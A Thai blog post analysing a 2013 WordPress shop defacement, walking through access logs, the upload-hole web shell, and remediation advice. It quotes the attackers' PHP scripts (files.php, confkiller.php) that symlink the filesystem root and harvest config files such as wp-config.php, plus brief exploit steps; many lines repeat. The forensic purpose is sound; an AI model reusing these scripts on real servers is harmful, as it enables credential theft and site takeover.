ระหว่างนี้สามารถสตาร์เซิร์ฟเวอร์เว็บเซิร์ฟเวอร์ได้ (เพื่อตรวจสอบ)
[โอเคดูเหมือนเว็บไซต์สามารถให้บริการต่อได้แล้ว] มาต่อเรื่องทางเทคนิคของแฮกเกอร์กันเลย
แล้วแฮกเกอร์มาจากไหน? ลำดับแรกให้ตรวจสอบ access_log (ขอโดเมน)
- ตรวจสอบไอพีแอดเดรสว่ามาจากที่ไหนมีที่ชุมหัวนอนหรือเปล่า โดยใช้ Web Tools ต่างๆ เช่นwww.maxmind.com, www.ip2location.com
180.244.249.92 (อินโดนีเซีย) มาจากกลุ่ม Indonesian Cyber Army
Location: Bogor, Indonesia, Asia
ISP: PT Telkom Indonesia
Location: Bogor, Indonesia, Asia
ISP: PT Telkom Indonesia
“วาว ว่าว ว้าว” มีที่หลับนอนซะด้วย (การแฉกลุ่มคนเหล่านี้ไม่จำเป็นต้องซ่อนไอพีแอดเดรส)
180.244.249.92 - - [28/May/2013:14:53:14 +0700] "GET /files.php?sws=sym HTTP/1.1" 200 2202 |
แฮกเกอร์เรียกฟังก์ชั่น sws=sym ซึ่งสคริปต์จะสร้าง symlink ต่างๆ นาๆ
180.244.249.92 - - [28/May/2013:14:54:09 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600 |
แฮกเกอร์เรียกฟังก์ชั่น Bypass Read
180.244.249.92 - - [28/May/2013:14:54:11 +0700] "GET /confkiller.php HTTP/1.1" 200 4842 |
จากนั้นแฮกเกอร์เอกซคิวไฟล์ confkiller.php โดยที่สคริปต์จะไปสร้างไดร์เรกทอรี Indishell, INDISHELL พร้อมกำหนดสิทธ์ให้เป็น 0777
180.244.249.92 - - [28/May/2013:14:54:12 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน/httpd/html/shop/&x=upload HTTP/1.1" 200 13665180.244.249.92 - - [28/May/2013:14:54:15 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน/httpd/html/shop/ HTTP/1.1" 200 136865 |
แฮกเกอร์เริ่มใช้ช่องธีมของ WordPress ชื่อธีม eShop (สำหรับคนไหนใช่อยู่ อ่านมาถึงตรงนี้น่าจะรู้สึกร้อนๆ หนาวๆ)
180.244.249.92 - - [28/May/2013:14:54:20 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856 |
หลังจากอัพโหลดไฟล์ผ่านช่องโหว่ WordPress + ธีม ก็ได้เวลาสั่งให้สคริปต์ทำงาน
ถ้าดูจาก log จะเห็นว่าแฮกเกอร์ใช้เวลาไม่ถึง 5 นาที รายละเอียดโค๊ดสคริปต์สามารถดูได้จากไฟล์ files.php (ไม่ขออัพโหลดสคริปต์ขึ้นให้ดูนะครับ เพื่อนความปลอดภัยเดี๋ยวนำไปใช้ในทางที่ไม่เหมาะสม)
ขั้นตอนถัดมาให้ดาวน์โหลดไฟล์ที่แฮกเกอร์สร้างขึ้น แล้วเปิดด้วยโปรแกรม Text editor เพื่อดูสคริปต์ว่าไปยุมยามอะไรที่ไหนบนไดร์เรกทอรีระบบบ้าง (บางไฟล์สคริปต์มีการเข้ารหัส ต้อง decode)
แนวทางการแก้ไข:
ดาวน์โหลดไฟล์ /eShop/upload/index.php และ upload.php เปิดด้วยโปรแกรม Text Editor ตรวจสอบว่า filetypes ที่อัพโหลดได้เป็นนามสกุลไรบ้าง (วิธีป้องการชั่วคราวก็แค่ไม่อนุญาตให้อัพโหลดไฟล์ php)
แต่ถึงแม้ไม่อนุญาตให้อัพโหลดไฟล์นามสกุล PHP ได้ แต่ถ้าอัพโหลด png เป็นรูปโป้ ก็เหมือนเดิม
แต่ถึงแม้ไม่อนุญาตให้อัพโหลดไฟล์นามสกุล PHP ได้ แต่ถ้าอัพโหลด png เป็นรูปโป้ ก็เหมือนเดิม
ช่องโหว่นี้ลำดับแรกต้องแก้ไขที่ themes ก่อนค่อยไปอุดช่องโหว่ที่เว็บเซิร์ฟเวอร์
ตัวอย่างโค๊ดจะ redirect ไปหน้า home page
/var/www/html/ช้อปปิ้ง.โดเมน.คอม/httpd/html/shop/wp-content/themes/wpshop/upload/index.php |
if (!isset($_SERVER['HTTP_REFERER'])){header("Location: /");exit;} |
คำแนะนำ:
- อัพเกรด Apahce, PHP
- อัพเกรด WordPress เป็นเวอร์ชั่นล่าสุด
- เปลี่ยนยูสเซอร์ และรหัสผ่าน ทั้ง WordPress admin และ MySQL (ปกติเก็บเป็น plain text ที่ไฟล์ wp-config.php)
- อัพเกรด WordPress เป็นเวอร์ชั่นล่าสุด
- เปลี่ยนยูสเซอร์ และรหัสผ่าน ทั้ง WordPress admin และ MySQL (ปกติเก็บเป็น plain text ที่ไฟล์ wp-config.php)
How to exploit deface web shopping
- อัพโหลดไฟล์สคริปต์
http://ช้อปปิ้ง.โดเมน.คอม/wp-content/themes/wpshop/upload/
- รันไฟล์สคริปต์
http://ช้อปปิ้ง.โดเมน.คอม/wp-content/uploads/products_img/สคริปต์.php
เครื่องมือที่ใช้:
- Base64 Decoder
http://www.base64decode.org/
http://www.base64decode.org/
- PHP Decoder
http://www.unphp.net/
http://www.unphp.net/
Reference :
http://hillmandesign.com/2011/04/04/how-to-fix-a-hacked-wordpress-blog/
http://danhilltech.tumblr.com/post/18085864093/if-you-get-eval-base64-hacked-on-wordpress-dreamhost
http://wiki.dreamhost.com/WordPress_Hacks
คราวนี้มาดูรายละเอียดจาก access_log ไฟล์กันบ้างครับ
### –> START: ACCESS YOUR SITE ###
180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/plugins/sitepress-multilingual-cms/res/css/language-selector.css?v=2.0.4.1 HTTP/1.1" 200 5615180.244.249.92 - - [28/May/2013:14:48:25 +0700] "GET /category/coffee/bean/ HTTP/1.1" 200 50899180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/library/css/slider.css HTTP/1.1" 200 2474180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/library/css/superfish.css HTTP/1.1" 200 3633180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/library/css/thickbox.css HTTP/1.1" 200 4014180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/style.css HTTP/1.1" 200 35201 |
### –> START ATTACKING ###
เปิดเว็บไซต์พาท /wp-content/themes/อีช้อปปิ้ง/upload/upload.php โดยใช่ช่องโหว่ของปลั๊กอิน จากนั้นแฮกเกอร์อัพโหลดไฟล์สคริปต์ (idca.php) ไฟล์นี้เข้ารหัสไว้มากกว่าหนึ่งฟังก์ชั่น
จากนั้นรันเรียกไฟล์สคริปต์ตามด้วยพาทที่ต้องการ (?y ดีฟอลล์พาทที่เก็บข้อมูลเว็บไซต์)
เปิดเว็บไซต์พาท /wp-content/themes/อีช้อปปิ้ง/upload/upload.php โดยใช่ช่องโหว่ของปลั๊กอิน จากนั้นแฮกเกอร์อัพโหลดไฟล์สคริปต์ (idca.php) ไฟล์นี้เข้ารหัสไว้มากกว่าหนึ่งฟังก์ชั่น
จากนั้นรันเรียกไฟล์สคริปต์ตามด้วยพาทที่ต้องการ (?y ดีฟอลล์พาทที่เก็บข้อมูลเว็บไซต์)
180.244.249.92 - - [28/May/2013:14:48:47 +0700] "POST /wp-content/themes/อีช้อปปิ้ง/upload/upload.php?img=&nonce= HTTP/1.1" 200 169180.244.249.92 - - [28/May/2013:14:49:07 +0700] "GET /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 4042180.244.249.92 - - [28/May/2013:14:49:07 +0700] "GET /wp-content/uploads/products_img/idca.php?favicon HTTP/1.1" 303 -180.244.249.92 - - [28/May/2013:14:49:08 +0700] "GET /wp-content/uploads/products_img/idca.php?favicon HTTP/1.1" 303 -180.244.249.92 - - [28/May/2013:14:49:15 +0700] "POST /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 1191961180.244.249.92 - - [28/May/2013:14:49:21 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/ HTTP/1.1" 200 19904180.244.249.92 - - [28/May/2013:14:49:39 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/ HTTP/1.1" 200 19904 |
### –> [1] END ATTACKED SUCCESS ###
พยายามเจาะไปเรื่อยๆ จนแฮกเกอร์สามารถเรียกฟังก์ชั่นอัพโหลดผ่านไฟล์สคริปต์ idca.php แล้วทำการอัพโหลดไฟล์สคริปต์อื่นเขาไปยังรูทไดเรกทอรีของโดเมนนั้นๆ
พยายามเจาะไปเรื่อยๆ จนแฮกเกอร์สามารถเรียกฟังก์ชั่นอัพโหลดผ่านไฟล์สคริปต์ idca.php แล้วทำการอัพโหลดไฟล์สคริปต์อื่นเขาไปยังรูทไดเรกทอรีของโดเมนนั้นๆ
180.244.249.92 - - [28/May/2013:14:49:41 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/ HTTP/1.1" 200 27718180.244.249.92 - - [28/May/2013:14:49:44 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856180.244.249.92 - - [28/May/2013:14:49:51 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/ HTTP/1.1" 200 20880180.244.249.92 - - [28/May/2013:14:49:54 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856180.244.249.92 - - [28/May/2013:14:49:59 +0700] "GET /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 1191961180.244.249.92 - - [28/May/2013:14:50:02 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 121198180.244.249.92 - - [28/May/2013:14:50:05 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13665180.244.249.92 - - [28/May/2013:14:50:10 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13730180.244.249.92 - - [28/May/2013:14:50:54 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 124263180.244.249.92 - - [28/May/2013:14:51:07 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 124383180.244.249.92 - - [28/May/2013:14:51:12 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 124383180.244.249.92 - - [28/May/2013:14:51:18 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&edit=/var/www/html/โดเมน-B/httpd/html/ช้อป/newfile.php HTTP/1.1" 200 12513180.244.249.92 - - [28/May/2013:14:51:27 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&edit=/var/www/html/โดเมน-B/httpd/html/ช้อป/newfile.php HTTP/1.1" 200 46661 |
### –> [2] END ATTACKED SUCCESS ###
ดูเหมือนทำงานกันเป็นทีมเล็กๆ โดยพยายามเจาะเข้าหน้า admin ของ WordPress ด้วย
ดูเหมือนทำงานกันเป็นทีมเล็กๆ โดยพยายามเจาะเข้าหน้า admin ของ WordPress ด้วย
[Indonesian and Chaina]
180.244.249.92 - - [28/May/2013:14:53:12 +0700] "GET /files.php HTTP/1.1" 200 2832142.4.101.26 - - [28/May/2013:14:53:12 +0700] "GET /wp-login.php HTTP/1.0" 200 2245 |
อัพโหลดไฟล์ files.php สำเร็จ
180.244.249.92 - - [28/May/2013:14:53:14 +0700] "GET /files.php?sws=sym HTTP/1.1" 200 2202142.4.101.26 - - [28/May/2013:14:53:13 +0700] "POST /wp-login.php HTTP/1.0" 302 -180.244.249.92 - - [28/May/2013:14:53:14 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600 |
### –> [3] END ATTACKED SUCCESS ###
อัพโหลดไฟล์เพิ่มเติม confkiller.php
อัพโหลดไฟล์เพิ่มเติม confkiller.php
180.244.249.92 - - [28/May/2013:14:53:21 +0700] "GET /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 1191961180.244.249.92 - - [28/May/2013:14:53:24 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 129458180.244.249.92 - - [28/May/2013:14:53:26 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13665180.244.249.92 - - [28/May/2013:14:53:32 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13734180.244.249.92 - - [28/May/2013:14:53:42 +0700] "POST /confkiller.php HTTP/1.1" 200 5422 #<--hacker: code="" file="" files.php="" name="" upload="">--hacker:>180.244.249.92 - - [28/May/2013:14:53:43 +0700] "POST /confkiller.php HTTP/1.1" 200 5243 #<--hacker: code="" confkiller.php="" file="" name="" upload="">--hacker:> |
### –> [4] END ATTACKED SUCCESS ###
สั่งผ่านเว็บเบราว์เซอร์เรียกสคริปต์ไฟล์ confkiller.php ทำงาน
สั่งผ่านเว็บเบราว์เซอร์เรียกสคริปต์ไฟล์ confkiller.php ทำงาน
180.244.249.92 - - [28/May/2013:14:53:45 +0700] "GET /INDISHELL/ HTTP/1.1" 200 705 |
180.244.249.92 - - [28/May/2013:14:54:09 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600180.244.249.92 - - [28/May/2013:14:54:11 +0700] "GET /confkiller.php HTTP/1.1" 200 4842180.244.249.92 - - [28/May/2013:14:54:12 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13665180.244.249.92 - - [28/May/2013:14:54:15 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 136865180.244.249.92 - - [28/May/2013:14:54:20 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856180.244.249.92 - - [28/May/2013:14:54:23 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600180.244.249.92 - - [28/May/2013:14:54:25 +0700] "GET /files.php?sws=passwd HTTP/1.1" 200 5520**************180.244.249.92 - - [28/May/2013:14:54:26 +0700] "POST /files.php?sws=passwd&save=1 HTTP/1.1" 200 21005**************180.244.249.92 - - [28/May/2013:14:54:29 +0700] "GET /files.php?sws=sym HTTP/1.1" 200 2202180.244.249.92 - - [28/May/2013:14:54:34 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600180.244.249.92 - - [28/May/2013:14:54:36 +0700] "GET /files.php?sws=joomla HTTP/1.1" 200 2202180.244.249.92 - - [28/May/2013:14:54:36 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600180.244.249.92 - - [28/May/2013:14:54:37 +0700] "GET /files.php?sws=wp HTTP/1.1" 200 2202180.244.249.92 - - [28/May/2013:14:54:37 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600180.244.249.92 - - [28/May/2013:14:54:38 +0700] "GET /files.php?sws=vb HTTP/1.1" 200 2202180.244.249.92 - - [28/May/2013:14:54:38 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600180.244.249.92 - - [28/May/2013:14:54:41 +0700] "GET /files.php? HTTP/1.1" 200 2832 |
เป็นอันเรียบร้อย หน้าหลักโฮมเพจ
### –> [5] START: ATTACK UNSUCCESSFUL ###
พยายามเจาะเข้าไปยังโดเมนที่เหลือต่อ
พยายามเจาะเข้าไปยังโดเมนที่เหลือต่อ
**************180.244.249.92 - - [28/May/2013:14:54:48 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/ HTTP/1.1" 200 20880**************180.244.249.92 - - [28/May/2013:14:54:52 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/ HTTP/1.1" 200 30970180.244.249.92 - - [28/May/2013:14:55:24 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/ HTTP/1.1" 200 99678180.244.249.92 - - [28/May/2013:14:55:52 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/&x=upload HTTP/1.1" 200 14128180.244.249.92 - - [28/May/2013:14:55:57 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/&x=upload HTTP/1.1" 200 14155180.244.249.92 - - [28/May/2013:14:56:04 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/ HTTP/1.1" 200 99678180.244.249.92 - - [28/May/2013:14:56:15 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/ HTTP/1.1" 200 99678180.244.249.92 - - [28/May/2013:14:56:51 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856180.244.249.92 - - [28/May/2013:14:56:55 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/ HTTP/1.1" 200 17516180.244.249.92 - - [28/May/2013:14:57:16 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/ HTTP/1.1" 200 28180180.244.249.92 - - [28/May/2013:14:57:26 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/html/ HTTP/1.1" 200 146442180.244.249.92 - - [28/May/2013:14:57:31 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/html/&x=upload HTTP/1.1" 200 13852180.244.249.92 - - [28/May/2013:14:57:37 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/html/&x=upload HTTP/1.1" 200 13879180.244.249.92 - - [28/May/2013:14:57:45 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856180.244.249.92 - - [28/May/2013:14:57:47 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-D/ HTTP/1.1" 200 47166 |
### –> END: ATTACK UNSUCCESSFUL ###
ไม่สำเร็จ นอนดีกว่า :-
ไม่สำเร็จ นอนดีกว่า :-
ตัวอย่าง ไฟล์สคริปต์ files.php
@mkdir('sym',0777);$htcs = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";$f =@fopen ('sym/.htaccess','w');fwrite($f , $htcs);@symlink("/","sym/root");$pg = basename(__FILE__); ////////// WordPress ////////////$pos = strpos($wp, "200");$config=" ";if (strpos($wp, "200") == true ){ $config="Wordpress";}elseif (strpos($wp12, "200") == true){ $config="Wordpress";} |
ตัวอย่าง ไฟล์สคริปต์ confkiller.php
error_reporting(0); echo ""; if(isset($_POST['su'])) { mkdir('Indishell',0777);$rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";$g = fopen('Indishell/.htaccess','w');fwrite($g,$rr);$indishell = symlink("/","Indishell/root"); $rt=" OwN3d"; echo "Bhai ji .... check link given below for / folder symlink $dir=mkdir('INDISHELL',0777); $r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; $f = fopen('INDISHELL/.htaccess','w'); fwrite($f,$r); $consym="configuration files"; echo " $usr=explode("\n",$_POST['user']); $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php"); foreach($usr as $uss ) { $us=trim($uss); foreach($configuration as $c) { $rs="/home/".$us."/public_html/".$c; $r="INDISHELL/".$us." .. ".$c; symlink($rs,$r); } } } ?> |
ตัวอย่าง ไฟล์สคริปต์ idca.php
./Cyber404 | Mr-GanDrunX ©2013
สรุป คือแฮกเกอร์พยายามเจาะเข้าระบบทุกโดเมนบนเว็บโฮตส์ติ้ง แต่แฮกได้เฉพาะผู้ที่ใช้ eShop WordPress Plugin แล้วทำการเปลี่ยนแปลงข้อมูลหน้าโฮมเพจ
และทำลิงก์แสดงข้อมูลไดร์เรกทอรีของระบบ การตรวจสอบเบื้องต้นไม่พบว่ามีข้อมูลสำคัญหลุดออกไป ช่องโหว่เกิดจากเครื่องมือ eShop และแฮกเกอร์ไม่ได้ใช้ทางช่องโหว่ของ WordPress (แต่ผู้ต้องอัพเดท WordPress ไปเป็นเวอร์ชั่นล่าสุด)
และทำลิงก์แสดงข้อมูลไดร์เรกทอรีของระบบ การตรวจสอบเบื้องต้นไม่พบว่ามีข้อมูลสำคัญหลุดออกไป ช่องโหว่เกิดจากเครื่องมือ eShop และแฮกเกอร์ไม่ได้ใช้ทางช่องโหว่ของ WordPress (แต่ผู้ต้องอัพเดท WordPress ไปเป็นเวอร์ชั่นล่าสุด)
สมัครสมาชิก:
บทความ (Atom)